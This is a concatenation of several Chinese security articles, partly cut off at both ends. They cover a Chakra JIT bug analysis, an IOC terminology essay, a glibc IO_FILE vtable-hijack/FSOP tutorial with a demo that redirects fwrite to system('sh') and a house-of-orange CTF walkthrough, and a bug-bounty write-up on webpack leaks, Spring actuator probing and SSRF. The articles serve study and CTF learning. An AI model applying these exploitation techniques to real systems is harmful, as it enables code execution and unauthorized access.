随后有人指出其修复方法可被绕过,ImageMagick于是在5月3日又发布了6.9.3-10版本,更改了允许传入字符的白名单。
所以目前将ImageMagick升级至6.9.3-10版本可修复此安全漏洞,同时官方还建议用户,如果不需要这些功能,可以通过配置policy.xml的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate。
详细的官方建议请参考:[https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588](https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588)
## 参考
[http://www.openwall.com/lists/oss-security/2016/05/03/18](http://www.openwall.com/lists/oss-security/2016/05/03/18)
[http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1](http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1)
[http://drops.wooyun.org/papers/15589](http://drops.wooyun.org/papers/15589) | 社区文章 |
# Chakra漏洞调试笔记1——ImplicitCall
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 写在前面的话
Chakra是微软新一代浏览器Microsoft
Edge的Javascript解析引擎，继承自IE浏览器的jscript9.dll，并在GitHub上开源为ChakraCore。Chakra自开源以来就成为Windows平台漏洞挖掘的主要目标之一，也是大家学习二进制漏洞挖掘非常好的实战项目。
笔者在学习Chakra漏洞这几个月中发现Chakra漏洞学习资料相对IE、Flash等较少，公开的exp数量也非常有限。幸运的是Google Project
Zero团队公开了他们提交的Chakra漏洞case，这对学习Chakra漏洞非常有帮助：
笔者在调试了部分case后，萌生了一个想法：把这些case按照从高向低的ID编号将分析过程逐一记录下来，与大家分享，一起学习Chakra的漏洞。因此就有了这个系列《Chakra漏洞调试笔记》。但是笔者水平有限，这些漏洞的分析主要是利用业余时间完成，文中错误之处恳请斧正。
## 0x1 ImplicitCall
Chakra执行过程分为解释执行（Interpreter）和JIT（Just-in-time），Interpreter执行被parse成字节码（bytecode）的Javascript代码，并且在解释执行过程中会收集例如变量类型或者函数调用次数等profile信息。当一个函数或者循环体被调用多次时，Chakra就会调用JIT编译器根据之前收集的profile信息将热点代码优化并编译成机器指令（JITed
Code），再用生成的机器指令替换被优化的函数或者循环体的入口点，使得之后对热点函数或者循环体的调用可以直接执行JIT编译器生成的机器码，从而提高了JavaScript脚本执行的速度。
但是Javascript是弱类型的，变量的类型一般都是可以动态修改的，而生成的JIT代码是强类型的，对变量的访问的偏移都是固定的。一般来说，根据profile信息生成的变量类型是正确的，但是如果JIT代码中存在脚本的回调时，情况就会变得比较复杂。
看这样一个例子：
假设Interpreter在执行完第9行opt()后Chakra将函数opt()
JIT，根据profile信息opt函数内部o.a=0;生成的机器指令类似于：mov [o + 0x10], 0 （这里我们假设o.a在o偏移0x10处）
在第二次执行opt函数时前，由于在Object的原型绑定了x属性的Get函数，当JIT再次执行到o.x时就会触发__defineGetter__的脚本回调，而在__defineGetter__回调内部却删除了o的第一个属性a，因此对象o的layout发生了改变，0x10处不再存放a属性。
__defineGetter__函数返回后再次回到JIT，如果JIT不知道回调函数__defineGetter__修改了对象o的layout，并仍然按照之前的偏移存放数据：mov
[o + 0x10], 0就会出错。
因此需要一种机制来同步Interpreter和JIT对同一个变量的修改，这就是ImplicitCall。
继续观察Demo1.js GlobOpt阶段的Dump:
这里主要关注第5行
可以产生脚本回调语句o.x生成的IR，可以看到LdRootFld对应的Bailout类型是BailOutOnImplicitCallsPreOp，LdFld对应的Bailout类型是BailOutOnImplicitCalls。
继续观察Demo1.js Lowerer阶段的Dump，LdRootFld对应dump如下:
这段代码主要做三件事：
1：比较GlobalObject的Object Type是否发生变化，没有则直接取对象o；
2：如果GlobalObject的Type发生变化则比较GlobalObject的InlineCahe是否发生变化，没有则按照InlineCahe取对象o；
3：如果如果GlobalObject的InlineCahe也发生变化则调用Op_PatchGetRootValue获取对象o。
而LdRootFld对应的Bailout类型是BailOutOnImplicitCallsPreOp，因此在调用Op_PatchGetRootValue前设置了ImplicitCallFlags=1，DisableImplicitCallFlags=1，并且在Op_PatchGetRootValue返回后恢复DisableImplicitCallFlags=0并比较ImplicitCallFlags
?=1。如果ImplicitCallFlags !=
1，则说明Op_PatchGetRootValue调用过程中发生了脚本的回调，则触发Bailout：SaveAllRegistersAndBailOut回到Interpreter。
同理LdFld对应Lowerer阶段的dump如下:
对于BailOutOnImplicitCalls的Bailout，Lowerer阶段后会在可能触发回调的函数前设置ImplicitCallFlags=1并在函数返回后比较ImplicitCallFlags
?=1，与BailOutOnImplicitCallsPreOp逻辑类似，不再详述。
那么DisableImplicitCallFlags和ImplicitCallFlags是什么呢，为什么通过设置这两个Flag就可以实现Interpreter和JIT的信息同步呢？Chakra是通过ExecuteImplicitCall实现的：
简单地说Chakra会通过ExecuteImplicitCall来调用可能的脚本回调函数，ExecuteImplicitCall内部首先判断调用的函数是否存在SideEffect，如果没有就直接执行调用函数；如果DisableImplicitCallFlags=1则不执行调用函数，直接返回Undefined；否则在调用函数前设置ImplicitCallFlags，再调用函数。
这样在回到JIT代码后就可以通过检查ImplicitCallFlags是否被修改来判断是否发生脚本回调了，而DisableImplicitCallFlags的作用显然就是禁用回调了。
## 0x2 Case Study: CVE-2019-0568
理解了ImplicitCall机制后，自然就会想到Chakra需要在可能触发脚本回调的函数前显示调用ExecuteImplicitCall，
那么如果忘记添加ExecuteImplicitCall就会有问题。事实上确实有一些漏洞就是因为忘记添加ExecuteImplicitCall而通过脚本回调来实现类型混淆的，比如CVE-2017-11802。
另一种情况，如果Chakra需要调用自己内部的js文件又该如何处理的呢，看今天要分析的这个case：
函数opt里可以触发回调的语句是 o.x。首先观察对应指令lowerer阶段的dump:
可以看到由于指令LdFld的Bailout类型为BailOutOnImplicitCallsPreOp，在Lowerer阶段的slow
path调用Op_PatchGetValue前正确的设置了DisableImplicitCallFlags和ImplicitCallFlags，没有问题。
继续观察Op_PathchGetValue的调用：
Op_PathchGetValue会调用JavascriptOperators::CallGetter，而JavascriptOperators::CallGetter在调用回调函数的时候已经将调用过程通过ExecuteImplicitCall封装：
所以LdFld本身的回调是没有问题的，那么问题出在哪里呢？
通过lokihardt对case root
cause的描述可以知道：Chakra在JsBuiltIn.js文件里定义了一些内建的对象，通过JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode来注入JsBuiltIn.js，但是由于JsBuiltIn.js是js文件，如果在调用过程中DisableImplicitCallFlags已经被置1了就无法执行JsBuiltIn.js里的js代码，因此JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode需要在调用JsBuiltIn.js里的js代码前先清除DisableImplicitCallFlags：
可以看到JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode中为了能够调用JsBuiltIn.js，在调用前直接清除了DisableImplicitCallFlags，但是调用完JsBuiltIn.js却忘记恢复之前清除的DisableImplicitCallFlags值。
因此可以利用这个Bug构造一个本来不允许产生脚本回调(DisableImplicitCallFlags=1)，却因为被InjectJsBuiltInLibraryCode清除DisableImplicitCallFlags
而最终错误的产生脚本回调机会。
这里lokihardt选择了Error.prototype.toString：
Error.prototype.toString会相继调用name.toString()和message.toString()：
通过将name绑定到Array的prototype触发JsBuiltInEngineInterfaceExtensionObject::
InjectJsBuiltInLibraryCode的调用从而清除了DisableImplicitCallFlags：
接着设置了message属性的getter方法，并在getter方法中保存了栈上对象的this指针（局部变量o的地址）到全局变量leaked_stack_object，最终在opt()函数返回后局部变量o被释放，形成栈上的UAF：
另外一点需要注意的是，当局部变量存在被外部读取的可能性时，局部变量不再直接分配在栈上，而是通过Js::JavascriptOperators::JitRecyclerAlloc分配，局部变量的地址也就不在栈上。
因为这个漏洞的根本原因是在调用JsBuiltIn.js后忘记恢复原来的DisableImplicitCallFlags，所以补丁也就很容易理解了，通过结构体AutoRestoreFlags的析构函数来实现DisableImplicitCallFlags和ImplicitCallFlags的恢复：
## 0x3 思考
整理下这个漏洞利用的流程：
JIT(opt) -> Set DisableImplicitCallFlags && Set ImplicitCallFlags ->
ImpliciteCall -> InjectJsBuiltInLibraryCode ->
Save ImplicitCallFlags && Clear DisableImplicitCallFlags -> JsBuilt.js ->
Restore ImplicitCallFlags ->ImpliciteCall (read stack object address) ->
Compare ImplicitCallFlags (Bailout)-> Interpreter
Bugfix后这个流程就真的没有问题了吗？我们可以看到除了DisableImplicitCallFlags，在调用JsBuilt.js后还有一个恢复ImplicitCallFlags的操作，那么是否有可能在JsBuilt.js里构造一个callback呢，也就是说在恢复ImplicitCallFlags前构造一个脚本的回调的机会。实际上这也是可以的，感兴趣的同学可以看下zenhumany师傅在Blackhat
Asia 2019议题上介绍的他提交的漏洞：CVE-2019-0650。
## 0x4 参考文献
尽管Chakra漏洞相关的资料相对较少，但是还是有一些非常值得大家学习的，这里笔者列出一些对自己帮助很大的Blog或者paper，感谢他们的分享。最后特别感谢zenhumany师傅的指导。
1. ChakraCore: <https://github.com/Microsoft/ChakraCore>
2. Google Project Zero: [https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=chakra](https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=chakra)
3. Project Moon: <https://blogs.projectmoon.pw/>
4. Phoenhex: <https://phoenhex.re/2019-05-15/non-jit-bug-jit-exploit>
5. Zenhumany:<https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Li-Using-the-JIT-Vulnerability-to-Pwning-Microsoft-Edge.pdf> | 社区文章 |
# 解读IOC
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://threatpost.com/misunderstanding-indicators-of-compromise/117560/>
译文仅供参考，具体内容表达以及含义原文为准。
报告APT事件的细节通常会在多年里横跨多个组织、部门、行业以及国家。据MITRE透露:“对于一些组织来说,拥有网络威胁情报的能力越来越重要,而这种能力是否成功的关键取决于能否与他们的合作伙伴、同行或者他们信任的对象共享信息。”共享信息对于工作在任何组织中的人来说都是一个非常有益的工具,那是因为从外部某个组织传入的消息可以很大程度上提高内部组织的信息安全。
一些在计算机安全领域的从业人员把APT活动称为“攻击”,意在引发自卫权(使用高度充满情感的以及松散定义术语主动防御)。然而在我们看来,更合适的术语应该就是威胁(compromise),尤其是对于目标组织的信息和信息系统的完整性、可利用性以及机密性威胁。
这些活动要求在威胁面前建立并维持一个稳定的状态,包括保护、检测以及响应这三个部分。更加具有侵略性的活动被HImma和Dittrich称为“主动反应连续体”(任何人都不能清楚地表述和分析这些行为的伦理和法律问题不应信任从事最极端的行为,更不用说被授予豁免计算机犯罪法令的名字中的“自卫”)。
如果我们“假设存在破坏”——这就意味着我们接受这样的观点:威胁将会发生并且因此循环保护、检测以及响应应该是一种常态,而不是一些不可预见的异常,然后更加审慎的做法就是使用所有可用的信息,来更加有效的解决威胁。这些信息应该体现在威胁观测和威胁指示(IOCs)上,这一结果发表于2012年MITRE关于SITX(Structured
Threat Information eXpression)框架的论文中。
我们经常会把威胁的观测和指示(IOCs)弄混淆,常常是源于知识的匮乏,语言的不精确或者使一些简单的人性的缺点(有时很有目的性,服务于一些狭隘的自我感兴趣的目标而不是努力提高国家安全来改善公共利益)。让我们一起来看看MITRE对于这些术语的定义:
“观测值是与计算机以及网络操作有关的状态属性和可测量事件。一个文件的信息(名称、哈希、大小等等)、注册表键值、启动服务项或者是一个HTTP的请求被发送都可以被看成是观测的一个简单的例子。[…]指示构建用来传达特定的观测值,结合了上下文内容相关的信息,用于表示在网络安全方面的产品以及利益行为。它们由一个或多个观测值可能映射到相关的TTP内容上像在指示的说法,并由其他事件中例如指示器明确主张的秘密的相关元数据,处理限制,有限时间窗,比如指示器的影响、照准,检测结构测试机制,建议的操作过程,以及指示的来源等等。”
MITRE同样还定义了其他一些相关的条款,来解决更高级别的结构和组织的目标:事件、工具、策略和程序(TTP);运动,威胁动作,行动过程(COA)。Alex
Sieira在Infosec
Zanshin博客中提到,把观测值和IOC混为一谈,并且不恰当的观测观测结果会引发假阳性警报的升高。“威胁智能指示”影响了观测值,其实并不“智能”,不应该被用来作为触发警报的唯一依据。该博客中作者的结论是合理的,但是IP地址,域名和URL大多是实际观测量,而不是IOC。作者解释不能简单看待这些观测值,而是要调用IOC,结合不同置信水平上的多重观测值来分析,才能减少误报概率。
让我们来看看来自Crowdstrike给出的另一个例子:“IOC在取证时常常被描述为用于指示网络安全性已被破坏的计算机证据。”
Crowdstrike还说:“在网络中,IOC可能是一个MD5哈希值,一个C2结构域或硬编码的IP地址,一个注册表项,文件名等。这些IOC都在不断变化来保护网络的安全。”同样,根据2012年MITRE的定义,这显然是观测量,而不是IOC本身。Ross和Breem甚至指出这种与IOC之间的联系(见下文),以及IOC是如何“不断变化的”。他提道:
“在网络领域中,IOA的力量会展示一个攻击者是如何侵入你的计算机,访问的文件,破解密码,并最终盗取数据的。”
如果我们考虑MITRE的定义,这些IOC显然与Incident,TTP,Campaign,Threat
Actor相挂钩。这些参数被收集起来并应用在实时处理过程中,从而导致了IOC的不同。而且这强调了需要收集很多观测量,结合手中的其他信息以提高效用,并支持“努力创造,发展和完善的共享和结构化的威胁信息,以社区为基础进行发展”的想法。为什么要尝试发明了一个新名词替代现有的概念?
提高整体网络防御的能力和持久性才是重中之重。
如果真正的目标是检测,响应和改善威胁活动的长时间运行模式的有效性,防御来自海外和国内的网络威胁,这样的目标是大家的共识并且以此为共同利益的。如果其中有人有其他意图或者有诚信问题,那么就会阻碍共同的防御。 | 社区文章 |
之前的文章对IO FILE相关功能函数的源码进行了分析，后续将对IO FILE相关的利用进行阐述。
传送门：
* [IO FILE之fopen详解](https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis)
* [IO FILE之fread详解](https://ray-cp.github.io/archivers/IO_FILE_fread_analysis)
* [IO FILE之fwrite详解](https://ray-cp.github.io/archivers/IO_FILE_fwrite_analysis)
* [IO_FILE之fclose详解](https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis)
经过了前面对于fopen等源码的介绍，知道了IO
FILE结构体里面有个很重要的数据结构--`vtable`，IO函数的很多功能都是通过它去实现的。接下来主要描述如何通过劫持vtable去实现控制函数执行流以及通过FSOP来进行利用。
## vtable劫持
本文是基于libc 2.23及之前的libc上可实施的，libc2.24之后加入了vtable check机制，无法再构造vtable。
vtable是`_IO_FILE_plus`结构体里的一个字段，是一个函数表指针，里面存储着许多和IO相关的函数。
### 劫持原理
`_IO_FILE_plus`结构体的定义为：
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
`vtable`对应的结构体`_IO_jump_t`的定义为：
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
这个函数表中有19个函数，分别完成IO相关的功能，由IO函数调用，如`fwrite`最终会调用`__write`函数、`fread`会调用`__doallocate`来分配IO缓冲区等。
给出`stdin`的IO FILE结构体和它的虚表的值，更直观的看下，首先是`stdin`的结构体：
可以看到此时的函数表的值是 `0x7fe23cc576e0 <__GI__IO_file_jumps>`，查看它的函数：
vtable劫持的原理是：如果能够控制FILE结构体，实现对vtable指针的修改，使得vtable指向可控的内存，在该内存中构造好vtable，再通过调用相应IO函数，触发vtable函数的调用，即可劫持程序执行流。
从原理中可以看到，劫持最关键的点在于修改IO
FILE结构体的vtable指针，指向可控内存。一般来说有两种方式：一种是只修改内存中已有FILE结构体的vtable字段；另一种则是伪造整个FILE结构体。当然，两种的本质最终都是修改了vtable字段。
demo示例程序可以参考[ctf wiki](https://wiki.gdpcisa.org/pwn/io_file/fake-vtable-exploit/)中的示例：
#define system_ptr 0x7ffff7a52390;
int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset
vtable_addr[0]=(long long)fake_vtable;
memcpy(fp,"sh",3);
fake_vtable[7]=system_ptr; //xsputn
fwrite("hi",2,1,fp);
}
这个示例通过修改已有FILE结构体的内存的vtable，使其指向用户可控内存，实现劫持程序执行`system("sh")`的过程。
有了前面几篇文章对vtable调用的基础，劫持的原理理解就比较容易了，不再赘述。
### IO调用的vtable函数
在这里给出`fopen`、`fread`、`fwrite`、`fclose`四个函数会调用的vtable函数，之前在每篇文章的末尾都已给出，在这里统一总结下，方便后面利用的时候能够较快的找到所需劫持的函数指针。
fopen函数是在分配空间，建立FILE结构体，未调用vtable中的函数。
fread函数中调用的vtable函数有：
* `_IO_sgetn`函数调用了vtable的`_IO_file_xsgetn`。
* `_IO_doallocbuf`函数调用了vtable的`_IO_file_doallocate`以初始化输入缓冲区。
* vtable中的`_IO_file_doallocate`调用了vtable中的`__GI__IO_file_stat`以获取文件信息。
* `__underflow`函数调用了vtable中的`_IO_new_file_underflow`实现文件数据读取。
* vtable中的`_IO_new_file_underflow`调用了vtable`__GI__IO_file_read`最终去执行系统调用read。
fwrite 函数调用的vtable函数有：
* `_IO_fwrite`函数调用了vtable的`_IO_new_file_xsputn`。
* `_IO_new_file_xsputn`函数调用了vtable中的`_IO_new_file_overflow`实现缓冲区的建立以及刷新缓冲区。
* vtable中的`_IO_new_file_overflow`函数调用了vtable的`_IO_file_doallocate`以初始化输入缓冲区。
* vtable中的`_IO_file_doallocate`调用了vtable中的`__GI__IO_file_stat`以获取文件信息。
* `new_do_write`中的`_IO_SYSWRITE`调用了vtable`_IO_new_file_write`最终去执行系统调用write。
`fclose`函数调用的vtable函数有：
* 在清空缓冲区的`_IO_do_write`函数中会调用vtable中的函数。
* 关闭文件描述符`_IO_SYSCLOSE`函数为vtable中的`__close`函数。
* `_IO_FINISH`函数为vtable中的`__finish`函数。
其他的IO函数功能相类似的调用的应该都差不多，可以参考下。
## FSOP
FSOP全称是`File Stream Oriented
Programming`，关键点在于前面`fopen`函数中描述过的`_IO_list_all`指针。
进程中打开的所有文件结构体使用一个单链表来进行管理，即通过`_IO_list_all`进行管理，在[`fopen`](https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis)的分析中，我们知道了fopen是通过`_IO_link_in`函数将新打开的结构体链接进入`_IO_list_all`的，相关的代码如下：
fp->file._flags |= _IO_LINKED;
...
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;
从代码中也可以看出来链表是通过FILE结构体的`_chain`字段来进行链接的。
正常的进行中存在stderr、sdout以及stdin三个IO FILE，此时`_IO_list_all`如下：
形成的链表如下图所示：
看到链表的操作，应该就大致猜到了FSOP的主要原理了。即通过伪造`_IO_list_all`中的节点来实现对FILE链表的控制以实现利用目的。通常来说一般是直接利用任意写的漏洞修改`_IO_list_all`直接指向可控的地址。
具体来说该如何利用呢？glibc中有一个函数`_IO_flush_all_lockp`，该函数的功能是刷新所有FILE结构体的输出缓冲区，相关源码如下，文件在`libio\genops`中：
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //，如果输出缓冲区有数据，刷新输出缓冲区
result = EOF;
fp = fp->_chain; //遍历链表
}
...
}
通过对`fwrite`分析，我们知道输出缓冲区的数据保存在`fp->_IO_write_base`处，且长度为`fp->_IO_write_ptr-fp->_IO_write_base`，因此上面的`if`语句实质上是判断该FILE结构输出缓冲区是否还有数据，如果有的话则调用`_IO_OVERFLOW`去刷新缓冲区。其中`_IO_OVERFLOW`是vtable中的函数，因此如果我们可以控制`_IO_list_all`链表中的一个节点的话，就有可能控制程序执行流。
可以看出来该函数的意义是为了保证数据不丢失，因此在程序执行退出相关代码时，会去调用函数去刷新缓冲区，确保数据被保存。根据`_IO_flush_all_lockp`的功能，猜测这个函数应该是在程序退出的时候进行调用的，因为它刷新所有FILE的缓冲区。事实上，会`_IO_flush_all_lockp`调用函数的时机包括：
* libc执行abort函数时。
* 程序执行exit函数时。
* 程序从main函数返回时。
再多做一点操作，去看下上述三种情况的堆栈，来进一步了解程序的流程。将断点下在`_IO_flush_all_lockp`，查看栈结构。
首先是abort函数的流程，利用的double free漏洞触发，栈回溯为：
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
__GI_abort ()
__libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7ba0d58 "*** Error in `%s': %s: 0x%s ***\n")
malloc_printerr (action=0x3, str=0x7ffff7ba0e90 "double free or corruption (top)", ptr=<optimized out>, ar_ptr=<optimized out>)
_int_free (av=0x7ffff7dd4b20 <main_arena>, p=<optimized out>,have_lock=0x0)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()
exit函数，栈回溯为：
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()
程序正常退出，栈回溯为：
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
__libc_start_main (main=0x400526 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()
看出来程序正常从main函数返回后，也是调用了`exit`函数，所以最终才调用`_IO_flush_all_lockp`函数的。
再说如何利用，利用的方式为：伪造IO
FILE结构体，并利用漏洞将`_IO_list_all`指向伪造的结构体，或是将该链表中的一个节点（`_chain`字段）指向伪造的数据，最终触发`_IO_flush_all_lockp`，绕过检查，调用`_IO_OVERFLOW`时实现执行流劫持。
其中绕过检查的条件是输出缓冲区中存在数据：
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
### 示例--house of orange
FSOP的利用示例，最经典的莫过于`house of orange`攻击方法。下面将通过`house of
orange`攻击方法具体体现vtable劫持和fsop，示例题是东华杯2016-pwn450的note。
先说明一下，程序中使用的`unsorted bin attack`改写`_IO_list_all`，使用`sysmalloc`得到`unsorted
bin`的原理我将不再详细描述，有需要的可以参考[unsorted bin
attack分析](https://www.anquanke.com/post/id/85127)，这里主要集中在vtable的劫持以及FSOP的实现上。
题目是一道菜单题，可以创建、编辑、以及删除堆块，其中只允许同时对一个堆块进行操作，只有释放了当前堆块才可以申请下一个堆块。
在创建函数中，堆块被`malloc`出来后会打印堆的地址，可以使用该函数来泄露堆地址；漏洞在编辑函数中，编辑函数可以输入任意长的字符，因此可以造成堆溢出。
首先要解决如何实现地址泄露，正常来说通过创建函数可以得到堆地址，但是如何得到libc的地址？答案是可以通过申请大的堆块，申请堆块很大时，mmap出来的内存堆块会紧贴着libc，可通过偏移得到libc地址。从下图中可以看到，当申请堆块大小为0x200000时，申请出来的堆块紧贴libc，可通过堆块地址得到libc基址。
如何得到unsorted bin？想要利用unsorted bin attack实现`_IO_list_all`的改写，那么就需要有unsorted
bin才行，只有一个堆块，如何得到unsorted bin？答案是利用top chunk不足时堆的分配的机制，当top
chunk不足以分配，系统会分配新的top chunk并将之前的chunk 使用free函数释放，此时会将堆块释放至unsorted
bin中。我们可以利用覆盖，伪造top chunk的size，释放的堆块需满足下述条件：
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
即：
1. size需要大于0x20（MINSIZE）
2. prev_inuse位要为1
3. top chunk address + top chunk size 必须是页对齐的（页大小一般为0x1000）
最终利用unsorted bin attack，将`_IO_list_all`指向`main_arena`中`unsorted_bins`数组的位置。
此时的`_IO_list_all`由于指向的时`main arena`中的地址，并不是完全可控的。
但是它的chain字段却是可控的，因为我们可以通过伪造一个大小为0x60的small bin释放到main arena中，从而在unsorted bin
attack后，该字段刚好被当作`_chain`字段，如下图所示：
当调用`_IO_flush_all_lockp`时，`_IO_list_all`的头节点并不会使得我们可以控制执行流，但是当通过`fp =
fp->_chain`链表，对第二个节点进行刷新缓冲区的时候，第二个节点的数据就是完全可控的。我们就可以伪造该结构体，构造好数据以及vtable，在调用vtable中的`_IO_OVERFLOW`函数时实现对执行流的劫持。
写exp时，可以利用`pwn_debug`中`IO_FILE_plus`模块中的`orange_check`函数来检查当前伪造的数据是否满足house of
orange的攻击，以及使用`show`函数来显示当前伪造的FILE结构体。
伪造的IO FILE结构如下：
可以看到`_mode`为0，`_IO_write_ptr`也大于`fp->_IO_write_base`因此会触发它的`_IO_OVERFLOW`函数，它的vtable被全都伪造成了`system`的地址，如下图所示：
最终执行`system("bin/sh")`拿到shell。
## 小结
vtable劫持和FSOP还是比较好理解的，下一篇将介绍vtable check机制和它的绕过方法。
[`pwn_debug`](https://github.com/ray-cp/pwn_debug)新增了一个模块`IO_FILE_plus`，该模块可以很方便的查看和构造IO
FILE结构体，以及检查结构体是否满足利用条件。本文中可以使用的api为`IO_FILE_plus.orange_check`，即检查当前构造的IO
FILE是否满足house of orange的攻击条件。
exp和相关文件在我的[github](https://github.com/ray-cp/ctf-pwn/tree/master/PWN_CATEGORY/IO_FILE/vtable_hajack/东华杯2016-pwn450_note)
## 参考链接
1. [unsorted bin attack分析](https://www.anquanke.com/post/id/85127)
2. [伪造vtable劫持程序流程](https://wiki.gdpcisa.org/pwn/io_file/fake-vtable-exploit/) | 社区文章 |
# 从前端信息泄露进行漏洞挖掘
## 前言
在漏洞挖掘中，比的不但是资产收集的本领，更多的是细心。往往毫不起眼的前端文件，却总能给人带来意想不到的惊喜。
## 开始
在某次漏洞挖掘中，由于本人一如既往的菜，即使肝了很长时间，也挖不到一个低危漏洞。在那搞了半天以后，决定打开f12，自我安慰一下。
看了一下，只有一个static目录在调试器中(火狐浏览器)，不由得感叹命运悲惨。众所周知，static目录下99%是无用文件，但抱着一丝希望，我还是点开了。结果一打开就发现熟悉的webpack目录赫然躺在底下
PS：请原谅我把码打那么厚，某平台的政府包年测试项目，要是泄露了会喝茶
这里来说明一下，什么是webpack？
Webpack 是一个前端资源加载/打包工具。它将根据模块的依赖关系进行静态分析，然后将这些模块按照指定的规则生成对应的静态资源。
可以将多种静态资源 js、css、less 转换成一个静态文件，减少了页面的请求。
它的存在依赖于node.js
用大白话说，它包揽了其它静态文件的活，我们可以从中找一下敏感数据或是接口
激动的心，颤抖的手，我开始翻了起来
大师傅们的经验诚不欺我，我翻到了几处api接口
而相比于平常的站点，api所部署的服务器中间件会更多，防护也会更弱，所以我立马测试了起来
emmmmm看起来都是SpringBoot框架(因为原图找不到了，就随便拿张图凑合了)
那好办，拿起burp和spring专属字典，立马怼起来
果不其然，上天不负努力的人
芜湖，200块钱到手
## 经过
尝到了上次的甜头，我又开始了自己又菜又爱玩的道路
这个子站它有个注册的功能点，注册完后登陆的功能也少的可怜，只能上传上传头像。格式是被严格限制了，绕不过去，而上传上去了，也是上传到了oss上。
不过比较神奇的一点是，这里的开发并没有直接调用oss上的图片资源，而是将用户的图片地址存储起来。服务器访问接口，获得图片存储地址，再访问并载入图片。如果我能控制存储地址，岂不是能造成ssrf(虽然很鸡肋)
翻着翻着，目光落在了一处有关图片(头像)操作的地方
baseurl为api的服务器地址，那groupId是什么？
翻了翻别的地方的js，才知道，此域名的每个子域名，都对应着一个id，有了id才知道是哪个子公司进行的相应操作
自然，获取groupId的方法也很明显了
拿到groupId后发现，仍然进行不了相应操作，回头一看，原来是没有携带access_token
可access_token从哪里来？我又开始四处翻找文件，但毫无踪迹。正当我想放弃的时候，却发现它安详的躺在我的cookie中！这是怎么回事？
原来是这个网站有个注册功能，登陆后，它会自动给你分配一个access_token
好了，这下groupId有了，access_token也有了，直接去试一下是否能修改成功
nice，200！
最终再看一下dnslog
## 最后
虽然最终到手只有30块，但还是蛮开心的
前端信息往往被人忽视，大家相对来说更注重后端，但在渗透测试的过程中，两者相辅相成，必不可缺。你的细心与仔细，往往就是柳暗花明的关键。 | 社区文章 |
# 走进森林深处（二）
|
